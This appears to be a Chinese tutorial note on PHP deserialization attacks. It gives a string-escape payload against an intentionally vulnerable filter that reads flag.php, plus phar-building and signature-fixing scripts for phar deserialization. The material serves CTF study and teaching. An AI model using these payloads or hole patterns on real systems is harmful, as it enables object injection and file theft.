序列化之后的格式
注意的是private和protected成员的序列化会有所不同如下例子
1 2 3 4 5 6 7 8 9 10 11 <?php class test { private $pub = 'benben' ; protected $b = 'asd' ; function jineng ( ) { echo $this ->pub; } }$a = new test ();echo serialize ($a );?>
里面的空字符url编码是%00
各种类型的标识
1 2 3 4 5 6 7 8 9 10 11 12 a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
常见魔术方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __wakeup (), unserialize () 执行前调用__destruct (), 对象销毁的时候调用__toString (), 类被当成字符串时的回应方法__construct (),当对象创建(new )时会自动调用,注意在unserialize ()时并不会自动调用__sleep (),serialize ()时会先被调用,__sleep ()先执行再序列化__call (),在对象中调用一个不可访问方法时调用__callStatic (),用静态方式中调用一个不可访问方法时调用__get (),调用一个不存在的成员变量触发__set (),设置一个不存在的或者不可访问的类的成员变量时调用__isset (),当对不可访问属性调用isset ()或empty ()时调用__unset (),当对不可访问属性调用unset ()时被调用。__wakeup (),执行unserialize ()时,先会调用这个函数__toString (),类被当成字符串时的回应方法__invoke (),调用函数的方式调用一个对象时的回应方法__set_state (),调用var_export ()导出类时,此静态方法会被调用。__clone (),当对象复制完成时调用__autoload (),尝试加载未定义的类__debugInfo (),打印所需调试信息
1.__call( ) 假设test
方法未定义,那么test
这个方法名就会作为__call
的第一个参数传入,而test
的参数会被装进数组 中作为__call
的第二个参数传入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 class google { public function search ( ) { } public function __call ($method , $parameters ) { var_dump ($parameters ); } }$google = new google ();$keyword = array ("poc" =>"a" );$google ->search ($keyword );$google ->operate ($keyword );?>
结果:
2.__get( ) 把不存在的成员属性的名称赋值给参数
1 2 3 4 5 6 7 8 9 10 11 12 <?php class test { public $aa ; function __get ($a ) { echo $a ; } }$b = new test ();$b ->p;?> 结果就是输出 p
3.__set( ) 把调用的属性名称赋值给第一个参数,属性的值赋值给第二个参数
1 2 3 4 5 6 7 8 9 10 11 12 <?php class NotExists { public function __set ($b ,$c ) { echo $b . '-----' . $c ; } }$ne = new NotExists ();$ne ->libai = 'xiaoba' ;?> 输出结果为: libai-----xiaoba
4.__wake()绕过的版本限制 1 2 php7:<7.0 .10 php5:<5.6 .25
反序列化字符逃逸 在序列化后的字符串后面加任意字符并不影响反序列化后的输出 1.在反序列化时,底层代码是以 ;
作为字段的分隔,以 }
作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。(反序列化的过程就是碰到 ;} 与最前面的 { 配对后,便停止反序列化。) 2.字符串的读取长度是由变量数据类型后面的数字决定的 例如:;s:20:"
hk”;s:4:”pass”;s:41:"
读取到的字符串是用行内代码标识的双引号内的字符串,实际应用中可以利用这个来修改后面的字符串达到漏洞的利用
减少形实例(增长性类比就好) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php function filter ($name ) { $safe =array ("flag" ,"php" ); $name =str_replace ($safe ,"hk" ,$name ); return $name ; }class test { var $user ; var $pass ; var $vip = false ; function __construct ($user ,$pass ) { $this ->user=$user ; $this ->pass=$pass ; } }$param ='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp' ;$pass =';s:4:"pass";s:6:"benben";s:3:"vip";b:1;}' ;$param =serialize (new test ($param ,$pass ));$profile =unserialize (filter ($param ));if ($profile ->vip){ echo file_get_contents ("flag.php" ); }
1 例如下列这串字符串运用到了1和2的方法进行利用:O:4:"test":3:{s:4:"user";s:54:"hkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:41:"";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}";s:3:"vip";b:0;}
phar反序列化
orange1.phar文件 1.stub:phar文件标识
1 2 3 4 5 <?php Phar ::mapPhar ();include 'phar://phar.phar/index.php' ;__HALT_COMPILER ();?>
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。也就是说如果我们留下这个标志位,构造一个图片或者其他文件,那么可以绕过上传限制,并且被 phar 这函数识别利用。2.a manifest describing the contents phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。3.the file contents 被压缩文件的内容4.[optional] a signature for verifying Phar integrity (phar file format only) 签名,放在文件末尾
orange2.实例化测试 根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。 注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class TestObject { public $data ; } $o = new TestObject (); $o ->data='hello L1n!' ; @unlink ("phar.phar" ); $phar = new Phar ("phar.phar" ); $phar ->startBuffering (); $phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();?>
其实就是把序列化函数serialize
变成了第7行以下的代码 可以看到meta-data是以序列化的形式存储的:
orange3.常见的绕过
将phar文件进行gzip压缩 ,使用压缩后phar文件同样也能反序列化 (常用) linux下使用命令gzip phar.phar 生成
orange4.phar文件签名修改 对于某些情况,我们需要修改phar文件中的内容而达到某些需求(比如要绕过__wakeup
要修改属性数量),而修改后的phar文件由于文件发生改变,所以须要修改签名才能正常使用 官方文档(https://www.php.net/manual/zh/phar.fileformat.signature.php#phar.fileformat.signature )中是这么说: 表格第二列的0x0001表示的是签名类型1是md5,0x0002代表的是签名类型是sha1,其余的以此类推
用winhex或010-editor查看phar文件签名类型(以上述代码生成的phar文件为例) 修改文件签名的脚本
1 2 3 4 5 6 7 8 9 10 from hashlib import sha1with open ('phar.phar' , 'rb' ) as file: f = file.read() s = f[:-28 ] h = f[-8 :] newf = s + sha1(s).digest() + h with open ('newPhar.phar' , 'wb' ) as file: file.write(newf)
phar反序列化触发条件
phar文件能上传到服务器端
要有可用的反序列化魔术方法
要有文件操作函数
文件操作函数参数可控